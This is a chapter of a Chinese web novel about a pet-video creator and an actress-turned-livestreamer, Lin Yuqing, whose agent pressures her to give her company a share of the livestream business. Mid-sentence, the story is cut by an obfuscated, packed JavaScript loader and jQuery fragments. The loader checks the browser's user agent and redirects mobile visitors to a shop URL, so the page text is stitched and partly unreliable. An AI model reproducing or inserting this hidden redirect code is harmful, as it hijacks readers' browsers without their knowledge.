蒋进酒的短视频账号“养狗的”一周一更，但他还有一个小号“小狗碎片”是用来发花絮视频和照片的，频率是一周两更。摄影师阿芥负责这两个账号的拍摄、剪辑和发布。


    这天他更新完主账号的视频后，在蒋进酒的拍摄手机上找没用过的花絮片段，准备更新小号，找着找着忽然叹了口气：“雨晴姐很久没来了。”


    蒋进酒摸狗的手一顿，眼看着星星凑上去闻了闻阿芥，他奇怪问：“你想她了？”他不记得林雨晴和阿芥有什么接触，顶多就是路过公司顺便打个招呼。


    阿芥翻着手机相册说：“我喜欢她来找你玩，她来一趟拍的素材够我发半个月。”


    蒋进酒目光落在工作手机上。


    他这个工作机专门用来拍摄和直播，日常就放在这个院里。林雨晴喜欢给小狗拍照，但她又不能发在她自己的账号，就干脆直接拿这个工作机拍。阿芥第一次看到，还以为蒋进酒去哪里进修摄影技术了。


    经过允许后，他就把那些照片和视频更新在小号上。


    林雨晴的拍摄风格非常明显，她会用自己带来的一些小配饰，眼镜或者帽子围巾之类的，给小狗们拍类似宠物写真的视频和照片。每次一发，粉丝就表示新头像和壁纸又有了。


    但是现在已经很久没拍了，只能继续用日常剩下的花絮视频和蒋进酒的随手拍水账号了。


    由奢入简难啊，连粉丝都在问什么时候再更新好看照片了。


    星星在阿芥那里没有得到答案，哼哼唧唧来找蒋进酒。蒋进酒拍了拍它脑袋，眼神晦暗。他屋里的人和狗都想林雨晴了，但林雨晴不想他们。


    林雨晴最近工作不太顺利。确认安秋桐不会再来直播间后，她似乎连日常工作都做不好了。她嘴上说着尊重大家各自的决定，心里却总是没有安全感。


    个人账号的视频数据和直播间销量也反馈平平。其实不是流量下滑了，只是过了热度上涨期，逐渐趋于平稳了。


    林雨晴心里清楚这是账号发展的必然情况，但尝过甜头之后就很难接受现在的稳定期。


    上个月平均两三条就会有一个视频小爆一下，这个月到目前为止还没有一个爆款。明明她跟之前一样在努力策划和拍摄，视频质量在她看来也都是合格的，但就是没有爆款。


    之前的好几个爆款都是安秋桐拍摄或者提供的创意点，她的网感其实很好。


    不清楚是工作状态影响了拍摄效果还是数据反馈影响了工作状态，林雨晴现在对拍摄都有点抗拒了。


    她切出账号，强迫自己从数据焦虑中走出来。手指习惯性下滑，刷到“养狗的”账号。林雨晴脑子还没反应过来，手指就点进去了。


    可能是这两天监测数据成习惯了，林雨晴顺着主页下划，顺势研究起蒋进酒的账号数据。他不管是直播还是视频更新的频率都很稳定。即便是在前期数据不好的时候，也基本没有中断过。


    从一开始的狗狗行为科普、喂养指南，到后面的小狗日常，可以很明显的看到前期漫长的积累期到后面突然爆发式增长。


    林雨晴清楚的记得，她刷到蒋进酒第一条爆了的健身视频时，他才十几万粉丝，不到两个月就涨到了两百多万。不是所有人都能在出现爆款后接住这个流量的，他的稳定更新绝对是必要条件。


    林雨晴深吸一口气，让自己平复下来。她一直都知道自己最大的毛病是急功近利。她总是在着急，迫切地想要见到回报，总是在事情刚开始做的时候就渴望成功，但遇到一点波折就开始溃败内耗。


    别这样，她劝自己，已经比最开始好很多了，只要继续努力工作就可以了。把握自己能把握的，剩下的交给时间。


    恢复平静后，林雨晴从办公室出来，看到石乔熙刚送走一个面试者。


    “怎么样？”林雨晴问。


    石乔熙一脸麻木地摇了摇头。


    从说要招人到现在半个月了，愣是没有找到合适的。或许是前两个员工招的太顺利了，林雨晴从来没想过原来招聘是一件这么麻烦的事情。


    一开始还全部都是她亲自在面试，后来忙不过来了，就让石乔熙和吴沁瑶自己面，反正招来的人也是来接替她们的工作的。但就是这样，拖到现在都没有新人入职。


    “今天晚上不直播，你们早点回去休息吧。”


    招不到人也不能让大家像之前那样辛苦，林雨晴明显感觉到她最近紧绷的状态影响到仅有的两位员工了，现在有意识的控制她们的工作量和工作时长。


    “你不走吗？”吴沁瑶看到林雨晴在快递堆里扒拉出一件快递，感觉还要继续工作。她有时候都觉得林雨晴太拼命了，总担心她们不在她一个人晕倒在办公室，尤其是她一忙起来就不吃饭，整个人看着比她刚见时瘦了一圈。


    “待会儿我经纪人要来，我等她一会儿。”林雨晴解释。


    “别把工作带回家，”她看了眼准备把电脑装包的石乔熙，故作轻松地笑笑，“好不容易这么早下班，享受一下不工作的晚上。”


    老板这么好心，石乔熙也就作罢，笑嘻嘻道：“那我今晚可得好好出去喝一杯。”


    吴沁瑶在一旁瞪大眼睛：“你不是说今天晚上和我在家吃火锅看电影吗？”


    石乔熙一把揽住她往外走：“开玩笑的，肯定陪你啊。”


    两人关系越来越好了，林雨晴羡慕地看她们出门。她坐在直播间沙发上，拆开快递。不是吴沁瑶以为的工作快递，是几团毛线。前几天刷到一个玫瑰花毯子的视频，正好她心情不好的时候就喜欢做些小手工，半夜激情下单了一整套。


    今天正好到了，趁这会儿功夫试一下。


    桌上放着教程，林雨晴拿出赠送的工具，开始尝试。


    换了三个教学视频，慢放到0.5倍速，一个小时过去了，她手里的线还是一团乱麻。林雨晴深吸一口气，做手工不是会平复心情吗？她怎么越做越急躁？


    那个针到底是怎么绕的，怎么她这个线勾出来不是不成型就是有窟窿眼？


    第五次拿剪刀剪掉前面绣成一坨的失败品，林雨晴有点担心她勾到后面线还够不够。


    高跟鞋的声音由远及近，林雨晴抬头，一个粉色休闲西装的瘦高女人从外面进来，正是她的经纪人常越。


    林雨晴有些佩服地看着她两条筷子腿下面踩着的漂亮小细跟。常越和安秋桐是她见过唯二两个真的喜欢穿高跟鞋的女生，但安秋桐好歹只是出去玩或者聚会的时候会穿，大部分时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932494|192832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    候为了舒适还会穿平底或者靴子。常越女士不管是出差还是见组，在外面奔波一整天，也永远都是小细跟。


    林雨晴总是怀疑会不会她裤子下面不是腿，是两根钢管。


    常越一进门就嚷嚷着饿：“我快饿死了，你这里有吃的吗？”


    “有零食，你先垫一口，我点个外卖吧。”


    还是风风火火的性格，趁林雨晴拿零食的功夫，常越已经把直播间都转一圈了。


    “弄得挺好啊，像模像样的，忙得过来吗？”


    她接过林雨晴递来的薯片，把外套放在沙发上，拆开薯片看着沙发上的那团毛线：“这是在干什么？”


    林雨晴随便把毛线扒拉到一旁：“勾着玩的，你吃什么？”


    “都行，能填饱肚子就行。”


    常越非常瘦，对食物永远只有一个要求，能吃就行。


    林雨晴挑了一家距离比较近的外卖，随便点了几个清淡点的小炒。常越盘腿往沙发上一坐，问：“自己做直播感觉怎么样？”


    林雨晴正在下单，头也没抬：“累啊，每天都累得要死。”


    “正好公司想参与进来。”


    “什么意思？”


    林雨晴放下手机，目光中有本能地警惕。


    似乎早已习惯了这种情况，常越咔吱咔吱咬着薯片，神色都没有波动：“你忙不过来，公司又想加入，就把需要干的活分给公司嘛。直播间现在也发展的蛮好，我看你最近在招人，直接从公司弄俩人过来。”


    “凭什么啊？”林雨晴怒火中烧，“我刚开始说想弄直播间的时候，公司不是说不管吗？我现在好不容易走上正轨了，它又想插手了？怎么什么好事都让它占了？”


    “公司嘛，就是这样的呀，没有利益的事情它才不会管。”


    “那我签公司还有什么意义？”林雨晴还没毕业就签到这家公司了，除了刚开始还推过几部戏的小角色，后来就没人管了，到现在更是两年都没戏拍。她要不是实在没办法想找出路，也不会想到要来做直播。


    常越吃薯片有点腻了，她放下袋子，抽了张纸巾擦手，在林雨晴的质问面前显得尤为平静。她不紧不慢道：“这两年确实市场不好，开拍的戏也不多。虽然暂时还是没有戏，但是有一部综艺可以推你，前提是得让公司加入直播间。”


    常越环视一圈，总体来说还是略微简陋的直播间，重新看向她：“到时候你直播间的推流啊，招聘啊，人员管理这些，都可以让公司去做。你就专心直播，有项目就去项目。”


    林雨晴心里堵了一口气，到底是自己做了一段时间的小老板，没有直接意气用事，憋了半天憋出一句：“我考虑一下。”


    常越露出一些笑意，果然人还是得锻炼。她补充道：“只要你答应，我保证那个综艺会重点捧你，而且绝对不会恶剪。”这算是很好的机会了，现在出去录制节目除了本身的录制内容，真得担心播出数据不好的时候，会不会随便找个小艺人恶剪祭天。


    但说得这么肯定，林雨晴猜测道：“公司投资了？”


    “算合作吧。”常越倒是没有隐瞒。


    她就知道！公司就用一个自制综艺的名额，来换自己辛辛苦苦做起来的直播间。